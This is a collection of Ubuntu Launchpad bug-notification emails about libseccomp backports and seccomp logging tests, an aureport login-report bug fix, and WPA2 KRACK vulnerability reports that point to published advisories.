
  If you have an updated libseccomp with an old kernel, you'll see that
  seccomp_init() fails due to the added compatibility check inside of
  libseccomp determines that the kernel doesn't have proper support for
  the new log action:

  $ ./lp1567597-test
  ERROR: seccomp_init: Invalid argument

  [Linux Kernel Test Case]

  All of the libseccomp test cases apply here.

  

  Running the seccomp kernel selftests is also a great to exercise
  seccomp and the kernel patch set proposed for the SRU includes
  additional seccomp selftests. To build, enter into the root of the
  kernel source tree and build the seccomp test binary:

  $ make -C tools/testing/selftests TARGETS=seccomp

  Now 

[Touch-packages] [Bug 1682102] Re: libseccomp should support GA and HWE kernels

[Tyler Hicks]

I've successfully performed the testing described in the [libseccomp
Test Case] section of the bug 1567597 description using libseccomp
2.3.1-2.1ubuntu2~16.04.1 from xenial-proposed. It includes the
libseccomp live tests (which aren't used during the build) and a
specific test of the new seccomp logging functionality. (I'm mentioning
my testing here because bug 1567597 isn't mentioned in the changelog of
the SRU upload.)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1682102

Title:
  libseccomp should support GA and HWE kernels

Status in libseccomp package in Ubuntu:
  Invalid
Status in libseccomp source package in Xenial:
  Fix Committed

Bug description:
  [Impact]

  out of date libseccomp w.r.t. custom and hwe kernels provides sub-par 
userspace protection, which is otherwise available on the running kernel and 
hardware combination.
  This results in subpar security of systems running new architectures (s390x & 
ppc64el) and newer hwe/custom kernels.

  * Version 2.3.1 - April 20, 2016
  - Fixed a problem with 32-bit x86 socket syscalls on some systems
  - Fixed problems with ipc syscalls on 32-bit x86
  - Fixed problems with socket and ipc syscalls on s390 and s390x

  * Version 2.3.0 - February 29, 2016
  - Added support for the s390 and s390x architectures
  - Added support for the ppc, ppc64, and ppc64le architectures
  - Update the internal syscall tables to match the Linux 4.5-rcX releases
  - Filter generation for both multiplexed and direct socket syscalls on x86
  - Support for the musl libc implementation
  - Additions to the API to enable runtime version checking of the library
  - Enable the use of seccomp() instead of prctl() on supported systems
  - Added additional tests to the regression test suite

  There is no ABI/API break

  There are no packaging changes, apart from dropping patches included
  in this upstream release and updating new symbols.

  Doing wholesome update is safer and carries less risk, than
  individually cherrypicking effectively all of the above.

  This is a backport to an LTS release under the banner of safe
  introduction of new features and new hardware support.

  It is expected that container technologies will take advantage of the
  newly available libseccomp.

  This may need to be uploaded as a security update.

  Currently, s390x support in xenial libssecomp is incomplete. And there
  are v4.5+ syscall tables missing as used by hwe kernels and some
  custom kernels.

  [Testcase]
  Validate that all main contianer technologies are operational and do not 
regress, e.g.:
   - lxc
   - lxd
   - docker
   - snapd

  [Regression Potential]
  Userspace components may detect at runtime newly available libseccomp, and 
thus restrict user-space processes more than previously done. This may lead to 
a change of restrictions applied on the user sapce processes, and result in 
previously unexpected denials / errors returned.

  
  [Proposed Update available in bileto PPA]
  https://launchpad.net/~ci-train-ppa-service/+archive/ubuntu/2981

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libseccomp/+bug/1682102/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1567597] Re: implement 'complain mode' in seccomp for developer mode with snaps

[Tyler Hicks]

I tested the linux kernel SRU in Xenial and Zesty using the following
linux package versions:

 - xenial: linux-image-4.4.0-98-generic 4.4.0-98.121
 - zesty: linux-image-4.10.0-38-generic 4.10.0-38.42

The linux kernel SRU testing was successful and followed what's
documented in the [Linux Kernel Test Case] section of this bug
description. The accompanying libseccomp SRU has not been accepted into
xenial-proposed yet so I was unable to test lp1567597-test.c (although I
could test with lp1567597-kernel-test.c), as documented in the
[libseccomp Test Case] section but that's not a problem as the lp1567597
-kernel-test.c program and kernel selftests are sufficient.


** Tags removed: verification-needed-xenial
** Tags added: verification-done-xenial

** Tags removed: verification-needed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1567597

Title:
  implement 'complain mode' in seccomp for developer mode with snaps

Status in Snappy:
  In Progress
Status in libseccomp package in Ubuntu:
  Fix Released
Status in linux package in Ubuntu:
  Fix Released
Status in libseccomp source package in Xenial:
  In Progress
Status in linux source package in Xenial:
  Fix Committed
Status in libseccomp source package in Zesty:
  Fix Committed
Status in linux source package in Zesty:
  Fix Committed

Bug description:
  A requirement for snappy is that a snap may be placed in developer
  mode which will put the security sandbox in complain mode such that
  violations against policy are logged, but permitted. In this manner
  learning tools can be written to parse the logs, etc and make
  developing on snappy easier.

  Unfortunately with seccomp only SCMP_ACT_KILL logs to dmesg and while
  we can set complain mode to permit all calls, they are not logged at
  this time. I've discussed this with upstream and we are working
  together on the approach. This may require a kernel patch and an
  update to libseccomp, to filing this bug for now as a placeholder and
  we'll add other tasks as necessary.

  UPDATE: ubuntu-core-launcher now supports the '@complain' directive
  that is a synonym for '@unrestricted' so people can at least turn on
  developer mode and not be blocked by seccomp. Proper complain mode for
  seccomp needs to still be implemented (this bug).

  [Impact]

  Snapd needs a way to log seccomp actions without blocking any syscalls
  in order to have a more useful complain mode. Such functionality has
  been acked upstream and patches are on their way into the Linux 4.14
  kernel (backported to 4.12.0-13.14 in artful).

  The corresponding libseccomp changes are still undergoing review
  (https://github.com/seccomp/libseccomp/pull/92). The pull request adds
  a number of new symbols and probably isn't appropriate to backport
  until upstream has acked the pull request. However, only a small part
  of that larger pull request is needed by snapd and that change can be
  safely backported since the only added symbol, the SCMP_ACT_LOG macro,
  must match the SECCOMP_RET_LOG macro that has already been approved
  and merged in the upstream Linux kernel.

  [libseccomp Test Case]

  A large number of tests are ran as part of the libseccomp build.
  However, the "live" tests which test libseccomp with actual kernel
  enforcement are not ran at that time. They can be manually exercised
  to help catch any regressions. Note that on Artful, there's an
  existing test failure (20-live-basic_die%%002-1):

  $ sudo apt build-dep -y libseccomp
  $ sudo apt install -y cython
  $ apt source libseccomp
  $ cd libseccomp-*
  $ autoreconf -ivf && ./configure --enable-python && make check-build
  $ (cd tests && ./regression -T live)

  All tests should pass on zesty (12 tests) and xenial (10 tests). On artful, 
you'll see one pre-existing failure:
  ...
  Test 20-live-basic_die%%002-1 result:   FAILURE 20-live-basic_die TRAP 
rc=159
  ...
  Regression Test Summary
   tests run: 12
   tests skipped: 0
   tests passed: 11
   tests failed: 1
   tests errored: 0
  

  

  Now we can build and run a small test program to test the SCMP_ACT_LOG
  action in the way that snapd wants to use it for developer mode:

  $ sudo apt install -y libseccomp-dev
  $ gcc -o lp1567597-test lp1567597-test.c -lseccomp
  $ ./lp1567597-test

  With a kernel that contains the logging patches and an updated
  libseccomp, the exit code should be 0 and you should have an entry in
  the system log that looks like this:

  audit: type=1326 audit(1505859630.994:69): auid=1000 uid=1000 gid=1000
  ses=2 pid=18451 comm="lp1567597-test"
  exe="/home/tyhicks/lp1567597-test" sig=0 arch=c03e syscall=2
  compat=0 ip=0x7f547352c5c0 code=0x7ffc

  If you have an updated libseccomp with an old kernel, you'll see that
  seccomp_init() fails due to the 

[Touch-packages] [Bug 1724152] Re: ISST-LTE: pVM: aureport couldn't get the right auid from the audit log on ubuntu16.04

[Tyler Hicks]

** Changed in: ubuntu-power-systems
 Assignee: Canonical Security Team (canonical-security) => Ubuntu Security 
Team (ubuntu-security)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to audit in Ubuntu.
https://bugs.launchpad.net/bugs/1724152

Title:
  ISST-LTE: pVM: aureport couldn't get the right auid from the audit log
  on ubuntu16.04

Status in The Ubuntu-power-systems project:
  In Progress
Status in audit package in Ubuntu:
  Invalid
Status in audit source package in Xenial:
  In Progress
Status in audit source package in Zesty:
  In Progress

Bug description:
  [Impact]

  The aureport command, part of the audit userspace utilities,
  incorrectly reports the user id of successful logins. "-1" is printed
  instead of the expected user id.

  [Test Case]

  As root, run `login`. Proceed as follows:

  1. Login with a blank username and any password
  2. Login with an invalid username and any password
  3. Login with a valid username and an invalid password
  4. Login with a valid username and a valid password
  5. Exit from the login shell
  6. Run `aureport -l` and examine the last for login records

  An unpatched aureport will print the following:

  
  # date time auid host term exe success event
  
  ...
  2. 10/17/2017 23:45:32 UNKNOWN ? /dev/pts/8 /bin/login no 97
  3. 10/17/2017 23:45:39 UNKNOWN ? /dev/pts/8 /bin/login no 99
  4. 10/17/2017 23:45:45 tyhicks ? /dev/pts/8 /bin/login no 101
  5. 10/17/2017 23:45:49 -1 ? /dev/pts/8 /bin/login yes 107

  A patch aureport will print the correct output:

  Login Report
  
  # date time auid host term exe success event
  
  ...
  2. 10/17/2017 23:52:44 UNKNOWN ? /dev/pts/8 /bin/login no 165
  3. 10/17/2017 23:52:52 UNKNOWN ? /dev/pts/8 /bin/login no 167
  4. 10/17/2017 23:52:58 tyhicks ? /dev/pts/8 /bin/login no 169
  5. 10/17/2017 23:53:02 1000 ? /dev/pts/8 /bin/login yes 175

  Note the "1000" in the auid column on the #5 row. It should *not* be
  "-1".

  [Regression Potential]

  The regression potential is limited due to the change only affecting a
  single line of code, the fix comes from upstream, and that the
  aureport utility is not critical.

  [Original Report]

  == Comment: #0 - Miao Tao Feng  - 2016-11-23 02:46:25 ==
  When we develop new testcase for audit, we found that command "aureport -l" 
print out wrong auid "-1"  on ubuntu16.04  and it should be 1000 according to 
the audit.log.

  The following are details:

  root@roselp2:~# aureport -l

  Login Report
  
  # date time auid host term exe success event
  
  1. 11/23/2016 02:20:12 -1 10.33.24.118 /dev/pts/0 /usr/sbin/sshd yes 18

  The auid "-1" on the above line should be "1000? according to the
  audit.log.

  root@roselp2:~# grep ":18" /var/log/audit/audit.log
  type=USER_LOGIN msg=audit(1479889212.292:18): pid=4177 uid=0 auid=1000 ses=4 
msg='op=login id=1000 exe="/usr/sbin/sshd" hostname=10.33.24.118 
addr=10.33.24.118 terminal=/dev/pts/0 res=success'

  root@roselp2:~# dpkg -s auditd
  Package: auditd
  Status: install ok installed
  Priority: extra
  Section: admin
  Installed-Size: 1051
  Maintainer: Ubuntu Developers 
  Architecture: ppc64el
  Source: audit
  Version: 1:2.4.5-1ubuntu2
  Depends: lsb-base (>= 3.0-6), mawk | gawk, init-system-helpers (>= 1.18~), 
libaudit1 (>= 1:2.4.2), libauparse0 (>= 1:2.3.1), libc6 (>= 2.17)
  Suggests: audispd-plugins

  root@roselp2:~# uname -a
  Linux roselp2 4.4.0-47-generic #68-Ubuntu SMP Wed Oct 26 19:38:24 UTC 2016 
ppc64le ppc64le ppc64le GNU/Linux

  root@roselp2:~# service auditd status
  ? auditd.service - Security Auditing Service
     Loaded: loaded (/lib/systemd/system/auditd.service; enabled; vendor 
preset: e
     Active: active (running) since Wed 2016-11-23 02:19:21 CST; 19s ago
   Main PID: 4085 (auditd)
     CGroup: /system.slice/auditd.service
     ??4085 /sbin/auditd -n

  Nov 23 02:19:21 roselp2 auditctl[4086]: enabled 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: failure 1
  Nov 23 02:19:21 roselp2 auditctl[4086]: pid 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: rate_limit 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: backlog_limit 320
  Nov 23 02:19:21 roselp2 auditctl[4086]: lost 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: backlog 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: backlog_wait_time 15000
  Nov 23 02:19:21 roselp2 systemd[1]: Started Security Auditing Service.
  Nov 23 02:19:21 roselp2 auditd[4085]: Init complete, auditd 2.4.5 listening 
for

  Please cherry pick https://github.com/linux-audit/audit-
  userspace/commit/25097d64344828a80acf681da5c1dacc4ea3c069

To manage notifications about this bug go to:

[Touch-packages] [Bug 1724152] Re: ISST-LTE: pVM: aureport couldn't get the right auid from the audit log on ubuntu16.04

[Tyler Hicks]

Fixes have been uploaded to Ubuntu 17.04 and Ubuntu 16.04 LTS and should
be accepted into the respective -proposed pockets soon. I'd greatly
appreciate it if IBM could verify the fixes once they've been accepted.
There will be an automated message posted at that time instructing
anyone interested about how to enable -proposed and verify the fix.
Thanks!

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to audit in Ubuntu.
https://bugs.launchpad.net/bugs/1724152

Title:
  ISST-LTE: pVM: aureport couldn't get the right auid from the audit log
  on ubuntu16.04

Status in The Ubuntu-power-systems project:
  New
Status in audit package in Ubuntu:
  Invalid
Status in audit source package in Xenial:
  In Progress
Status in audit source package in Zesty:
  In Progress

Bug description:
  [Impact]

  The aureport command, part of the audit userspace utilities,
  incorrectly reports the user id of successful logins. "-1" is printed
  instead of the expected user id.

  [Test Case]

  As root, run `login`. Proceed as follows:

  1. Login with a blank username and any password
  2. Login with an invalid username and any password
  3. Login with a valid username and an invalid password
  4. Login with a valid username and a valid password
  5. Exit from the login shell
  6. Run `aureport -l` and examine the last for login records

  An unpatched aureport will print the following:

  
  # date time auid host term exe success event
  
  ...
  2. 10/17/2017 23:45:32 UNKNOWN ? /dev/pts/8 /bin/login no 97
  3. 10/17/2017 23:45:39 UNKNOWN ? /dev/pts/8 /bin/login no 99
  4. 10/17/2017 23:45:45 tyhicks ? /dev/pts/8 /bin/login no 101
  5. 10/17/2017 23:45:49 -1 ? /dev/pts/8 /bin/login yes 107

  A patch aureport will print the correct output:

  Login Report
  
  # date time auid host term exe success event
  
  ...
  2. 10/17/2017 23:52:44 UNKNOWN ? /dev/pts/8 /bin/login no 165
  3. 10/17/2017 23:52:52 UNKNOWN ? /dev/pts/8 /bin/login no 167
  4. 10/17/2017 23:52:58 tyhicks ? /dev/pts/8 /bin/login no 169
  5. 10/17/2017 23:53:02 1000 ? /dev/pts/8 /bin/login yes 175

  Note the "1000" in the auid column on the #5 row. It should *not* be
  "-1".

  [Regression Potential]

  The regression potential is limited due to the change only affecting a
  single line of code, the fix comes from upstream, and that the
  aureport utility is not critical.

  [Original Report]

  == Comment: #0 - Miao Tao Feng  - 2016-11-23 02:46:25 ==
  When we develop new testcase for audit, we found that command "aureport -l" 
print out wrong auid "-1"  on ubuntu16.04  and it should be 1000 according to 
the audit.log.

  The following are details:

  root@roselp2:~# aureport -l

  Login Report
  
  # date time auid host term exe success event
  
  1. 11/23/2016 02:20:12 -1 10.33.24.118 /dev/pts/0 /usr/sbin/sshd yes 18

  The auid "-1" on the above line should be "1000? according to the
  audit.log.

  root@roselp2:~# grep ":18" /var/log/audit/audit.log
  type=USER_LOGIN msg=audit(1479889212.292:18): pid=4177 uid=0 auid=1000 ses=4 
msg='op=login id=1000 exe="/usr/sbin/sshd" hostname=10.33.24.118 
addr=10.33.24.118 terminal=/dev/pts/0 res=success'

  root@roselp2:~# dpkg -s auditd
  Package: auditd
  Status: install ok installed
  Priority: extra
  Section: admin
  Installed-Size: 1051
  Maintainer: Ubuntu Developers 
  Architecture: ppc64el
  Source: audit
  Version: 1:2.4.5-1ubuntu2
  Depends: lsb-base (>= 3.0-6), mawk | gawk, init-system-helpers (>= 1.18~), 
libaudit1 (>= 1:2.4.2), libauparse0 (>= 1:2.3.1), libc6 (>= 2.17)
  Suggests: audispd-plugins

  root@roselp2:~# uname -a
  Linux roselp2 4.4.0-47-generic #68-Ubuntu SMP Wed Oct 26 19:38:24 UTC 2016 
ppc64le ppc64le ppc64le GNU/Linux

  root@roselp2:~# service auditd status
  ? auditd.service - Security Auditing Service
     Loaded: loaded (/lib/systemd/system/auditd.service; enabled; vendor 
preset: e
     Active: active (running) since Wed 2016-11-23 02:19:21 CST; 19s ago
   Main PID: 4085 (auditd)
     CGroup: /system.slice/auditd.service
     ??4085 /sbin/auditd -n

  Nov 23 02:19:21 roselp2 auditctl[4086]: enabled 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: failure 1
  Nov 23 02:19:21 roselp2 auditctl[4086]: pid 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: rate_limit 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: backlog_limit 320
  Nov 23 02:19:21 roselp2 auditctl[4086]: lost 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: backlog 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: backlog_wait_time 15000
  Nov 23 02:19:21 roselp2 systemd[1]: Started Security Auditing Service.
  Nov 23 02:19:21 roselp2 auditd[4085]: 

[Touch-packages] [Bug 1724152] Re: ISST-LTE: pVM: aureport couldn't get the right auid from the audit log on ubuntu16.04

[Tyler Hicks]

** Description changed:

+ [Impact]
+ 
+ The aureport command, part of the audit userspace utilities, incorrectly
+ reports the user id of successful logins. "-1" is printed instead of the
+ expected user id.
+ 
+ [Test Case]
+ 
+ As root, run `login`. Proceed as follows:
+ 
+ 1. Login with a blank username and any password
+ 2. Login with an invalid username and any password
+ 3. Login with a valid username and an invalid password
+ 4. Login with a valid username and a valid password
+ 5. Exit from the login shell
+ 6. Run `aureport -l` and examine the last for login records
+ 
+ An unpatched aureport will print the following:
+ 
+ 
+ # date time auid host term exe success event
+ 
+ ...
+ 2. 10/17/2017 23:45:32 UNKNOWN ? /dev/pts/8 /bin/login no 97
+ 3. 10/17/2017 23:45:39 UNKNOWN ? /dev/pts/8 /bin/login no 99
+ 4. 10/17/2017 23:45:45 tyhicks ? /dev/pts/8 /bin/login no 101
+ 5. 10/17/2017 23:45:49 -1 ? /dev/pts/8 /bin/login yes 107
+ 
+ A patch aureport will print the correct output:
+ 
+ Login Report
+ 
+ # date time auid host term exe success event
+ 
+ ...
+ 2. 10/17/2017 23:52:44 UNKNOWN ? /dev/pts/8 /bin/login no 165
+ 3. 10/17/2017 23:52:52 UNKNOWN ? /dev/pts/8 /bin/login no 167
+ 4. 10/17/2017 23:52:58 tyhicks ? /dev/pts/8 /bin/login no 169
+ 5. 10/17/2017 23:53:02 1000 ? /dev/pts/8 /bin/login yes 175
+ 
+ Note the "1000" in the auid column on the #5 row. It should *not* be
+ "-1".
+ 
+ [Regression Potential]
+ 
+ The regression potential is limited due to the change only affecting a
+ single line of code, the fix comes from upstream, and that the aureport
+ utility is not critical.
+ 
+ [Original Report]
+ 
  == Comment: #0 - Miao Tao Feng  - 2016-11-23 02:46:25 ==
- When we develop new testcase for audit, we found that command "aureport -l" 
print out wrong auid "-1"  on ubuntu16.04  and it should be 1000 according to 
the audit.log. 
+ When we develop new testcase for audit, we found that command "aureport -l" 
print out wrong auid "-1"  on ubuntu16.04  and it should be 1000 according to 
the audit.log.
  
  The following are details:
  
  root@roselp2:~# aureport -l
  
  Login Report
  
  # date time auid host term exe success event
  
  1. 11/23/2016 02:20:12 -1 10.33.24.118 /dev/pts/0 /usr/sbin/sshd yes 18
  
  The auid "-1" on the above line should be "1000? according to the
  audit.log.
  
- root@roselp2:~# grep ":18" /var/log/audit/audit.log 
+ root@roselp2:~# grep ":18" /var/log/audit/audit.log
  type=USER_LOGIN msg=audit(1479889212.292:18): pid=4177 uid=0 auid=1000 ses=4 
msg='op=login id=1000 exe="/usr/sbin/sshd" hostname=10.33.24.118 
addr=10.33.24.118 terminal=/dev/pts/0 res=success'
  
  root@roselp2:~# dpkg -s auditd
  Package: auditd
  Status: install ok installed
  Priority: extra
  Section: admin
  Installed-Size: 1051
  Maintainer: Ubuntu Developers 
  Architecture: ppc64el
  Source: audit
  Version: 1:2.4.5-1ubuntu2
  Depends: lsb-base (>= 3.0-6), mawk | gawk, init-system-helpers (>= 1.18~), 
libaudit1 (>= 1:2.4.2), libauparse0 (>= 1:2.3.1), libc6 (>= 2.17)
  Suggests: audispd-plugins
  
- 
  root@roselp2:~# uname -a
  Linux roselp2 4.4.0-47-generic #68-Ubuntu SMP Wed Oct 26 19:38:24 UTC 2016 
ppc64le ppc64le ppc64le GNU/Linux
  
- 
  root@roselp2:~# service auditd status
  ? auditd.service - Security Auditing Service
-Loaded: loaded (/lib/systemd/system/auditd.service; enabled; vendor 
preset: e
-Active: active (running) since Wed 2016-11-23 02:19:21 CST; 19s ago
-  Main PID: 4085 (auditd)
-CGroup: /system.slice/auditd.service
-??4085 /sbin/auditd -n
+    Loaded: loaded (/lib/systemd/system/auditd.service; enabled; vendor 
preset: e
+    Active: active (running) since Wed 2016-11-23 02:19:21 CST; 19s ago
+  Main PID: 4085 (auditd)
+    CGroup: /system.slice/auditd.service
+    ??4085 /sbin/auditd -n
  
  Nov 23 02:19:21 roselp2 auditctl[4086]: enabled 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: failure 1
  Nov 23 02:19:21 roselp2 auditctl[4086]: pid 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: rate_limit 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: backlog_limit 320
  Nov 23 02:19:21 roselp2 auditctl[4086]: lost 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: backlog 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: backlog_wait_time 15000
  Nov 23 02:19:21 roselp2 systemd[1]: Started Security Auditing Service.
  Nov 23 02:19:21 roselp2 auditd[4085]: Init complete, auditd 2.4.5 listening 
for
  
  Please cherry pick https://github.com/linux-audit/audit-
  userspace/commit/25097d64344828a80acf681da5c1dacc4ea3c069

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to audit in 

[Touch-packages] [Bug 1724152] Re: ISST-LTE: pVM: aureport couldn't get the right auid from the audit log on ubuntu16.04

[Tyler Hicks]

I have verified this bug on Ubuntu 17.04 and Ubuntu 16.04 LTS. It does
not affect Ubuntu 17.10 (artful) as the audit package is new enough in
that release to have received the upstream fix.

While performing the backport of the fix, I noticed that the code
comments around the area of the code that was modified were at odds with
the code changes. After determining that the code was correct and the
comments were incorrect, I opened a upstream pull request to fix the
comments:

  https://github.com/linux-audit/audit-userspace/pull/30

I'll proceed with only the code changes and leave the incorrect comment
for the purposes of this SRU.

** Changed in: audit (Ubuntu)
 Assignee: Ubuntu on IBM Power Systems Bug Triage (ubuntu-power-triage) => 
Tyler Hicks (tyhicks)

** Changed in: audit (Ubuntu)
   Status: New => In Progress

** Changed in: audit (Ubuntu)
   Importance: Undecided => Medium

** Also affects: audit (Ubuntu Zesty)
   Importance: Undecided
   Status: New

** Also affects: audit (Ubuntu Xenial)
   Importance: Undecided
   Status: New

** Changed in: audit (Ubuntu Xenial)
 Assignee: (unassigned) => Tyler Hicks (tyhicks)

** Changed in: audit (Ubuntu Zesty)
 Assignee: (unassigned) => Tyler Hicks (tyhicks)

** Changed in: audit (Ubuntu Xenial)
   Status: New => In Progress

** Changed in: audit (Ubuntu Zesty)
   Status: New => In Progress

** Changed in: audit (Ubuntu)
   Status: In Progress => Invalid

** Changed in: audit (Ubuntu)
     Assignee: Tyler Hicks (tyhicks) => (unassigned)

** Changed in: audit (Ubuntu Xenial)
   Importance: Undecided => Medium

** Changed in: audit (Ubuntu Zesty)
   Importance: Undecided => Medium

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to audit in Ubuntu.
https://bugs.launchpad.net/bugs/1724152

Title:
  ISST-LTE: pVM: aureport couldn't get the right auid from the audit log
  on ubuntu16.04

Status in The Ubuntu-power-systems project:
  New
Status in audit package in Ubuntu:
  Invalid
Status in audit source package in Xenial:
  In Progress
Status in audit source package in Zesty:
  In Progress

Bug description:
  == Comment: #0 - Miao Tao Feng <fen...@cn.ibm.com> - 2016-11-23 02:46:25 ==
  When we develop new testcase for audit, we found that command "aureport -l" 
print out wrong auid "-1"  on ubuntu16.04  and it should be 1000 according to 
the audit.log. 

  The following are details:

  root@roselp2:~# aureport -l

  Login Report
  
  # date time auid host term exe success event
  
  1. 11/23/2016 02:20:12 -1 10.33.24.118 /dev/pts/0 /usr/sbin/sshd yes 18

  The auid "-1" on the above line should be "1000? according to the
  audit.log.

  root@roselp2:~# grep ":18" /var/log/audit/audit.log 
  type=USER_LOGIN msg=audit(1479889212.292:18): pid=4177 uid=0 auid=1000 ses=4 
msg='op=login id=1000 exe="/usr/sbin/sshd" hostname=10.33.24.118 
addr=10.33.24.118 terminal=/dev/pts/0 res=success'

  root@roselp2:~# dpkg -s auditd
  Package: auditd
  Status: install ok installed
  Priority: extra
  Section: admin
  Installed-Size: 1051
  Maintainer: Ubuntu Developers <ubuntu-devel-disc...@lists.ubuntu.com>
  Architecture: ppc64el
  Source: audit
  Version: 1:2.4.5-1ubuntu2
  Depends: lsb-base (>= 3.0-6), mawk | gawk, init-system-helpers (>= 1.18~), 
libaudit1 (>= 1:2.4.2), libauparse0 (>= 1:2.3.1), libc6 (>= 2.17)
  Suggests: audispd-plugins

  
  root@roselp2:~# uname -a
  Linux roselp2 4.4.0-47-generic #68-Ubuntu SMP Wed Oct 26 19:38:24 UTC 2016 
ppc64le ppc64le ppc64le GNU/Linux

  
  root@roselp2:~# service auditd status
  ? auditd.service - Security Auditing Service
 Loaded: loaded (/lib/systemd/system/auditd.service; enabled; vendor 
preset: e
 Active: active (running) since Wed 2016-11-23 02:19:21 CST; 19s ago
   Main PID: 4085 (auditd)
 CGroup: /system.slice/auditd.service
 ??4085 /sbin/auditd -n

  Nov 23 02:19:21 roselp2 auditctl[4086]: enabled 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: failure 1
  Nov 23 02:19:21 roselp2 auditctl[4086]: pid 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: rate_limit 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: backlog_limit 320
  Nov 23 02:19:21 roselp2 auditctl[4086]: lost 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: backlog 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: backlog_wait_time 15000
  Nov 23 02:19:21 roselp2 systemd[1]: Started Security Auditing Service.
  Nov 23 02:19:21 roselp2 auditd[4085]: Init complete, auditd 2.4.5 listening 
for

  Please cherry pick https://github.com/linux-audit/audit-
  userspace/commit/25097d64344828a80acf681da5c1dacc4ea3c069

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-power-systems/+bug/1724152/+subscriptions

-- 
Mailing list: https:/

[Touch-packages] [Bug 1724094] Re: wpasupplicant nonce vulnerability (DSA-3999-1)

[Tyler Hicks]

*** This bug is a duplicate of bug 1723909 ***
https://bugs.launchpad.net/bugs/1723909

Please see https://usn.ubuntu.com/usn/usn-3455-1/

** Information type changed from Public to Public Security

** This bug has been marked a duplicate of bug 1723909
   [security] WPA2: Many vulnerabilities discovered

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to wpa in Ubuntu.
https://bugs.launchpad.net/bugs/1724094

Title:
  wpasupplicant nonce vulnerability (DSA-3999-1)

Status in wpa package in Ubuntu:
  New

Bug description:
  Having asked "When is this going to be merged into the Ubuntu package
  set?" question #659543 I was advised to raise this as a bug by
  "actionparsnip":

  Given this, please would you investigate the following security
  vulnerability as a bug:

  wpasupplicant nonce vulnerability (DSA-3999-1):

  In Mitre's CVE dictionary the following vulnerabilities for wpa
  clients have been identified: CVE-2017-13077, CVE-2017-13078,
  CVE-2017-13079, CVE-2017-13080, CVE-2017-13081, CVE-2017-13082,
  CVE-2017-13086, CVE-2017-13087, CVE-2017-13088

  Details from the Debian Security Advisory is here
  https://www.debian.org/security/2017/dsa-3999

  As the Debian wpasupplicant Maintainers have already provided a patch:

  For the oldstable distribution (jessie), these problems have been fixed in 
version 2.3-1+deb8u5.
  For the stable distribution (stretch), these problems have been fixed in 
version 2:2.4-1+deb9u1.
  For the testing distribution (buster), these problems have been fixed in 
version 2:2.4-1.1.
  For the unstable distribution (sid), these problems have been fixed in 
version 2:2.4-1.1.

  I believe this covers LTS 14.04, 16.04 and all versions of Ubuntu
  after 16.04 (16.10, 17.04, 17.10)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/wpa/+bug/1724094/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1723909] Re: [security] WPA2: Many vulnerabilities discovered

[Tyler Hicks]

Updates have been released:

  https://usn.ubuntu.com/usn/usn-3455-1/

** Changed in: wpa (Ubuntu)
   Status: Confirmed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to wpa in Ubuntu.
https://bugs.launchpad.net/bugs/1723909

Title:
  [security] WPA2: Many vulnerabilities discovered

Status in wpa package in Ubuntu:
  Fix Released

Bug description:
  This is a high vulnerability problem:

  The attack works against all modern protected Wi-Fi networks

  All details:
  https://www.krackattacks.com/

  ProblemType: Bug
  DistroRelease: Ubuntu 17.10
  Package: wpasupplicant 2.4-0ubuntu9
  ProcVersionSignature: Ubuntu 4.13.0-16.19-generic 4.13.4
  Uname: Linux 4.13.0-16-generic x86_64
  ApportVersion: 2.20.7-0ubuntu3
  Architecture: amd64
  CurrentDesktop: GNOME
  Date: Mon Oct 16 11:54:57 2017
  EcryptfsInUse: Yes
  SourcePackage: wpa
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/wpa/+bug/1723909/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1567597] Re: implement 'complain mode' in seccomp for developer mode with snaps

[Tyler Hicks]

Hi - I tested the libseccomp SRU in Zesty using the following libseccomp
package version:

 - libseccomp2 2.3.1-2.1ubuntu2~17.04.1

I tested it with the following kernels:

 - linux-image-4.10.0-37-generic 4.10.0-37.41
   + does not contain seccomp logging patches
 - linux-image-4.10.0-38-generic 4.10.0-38.42
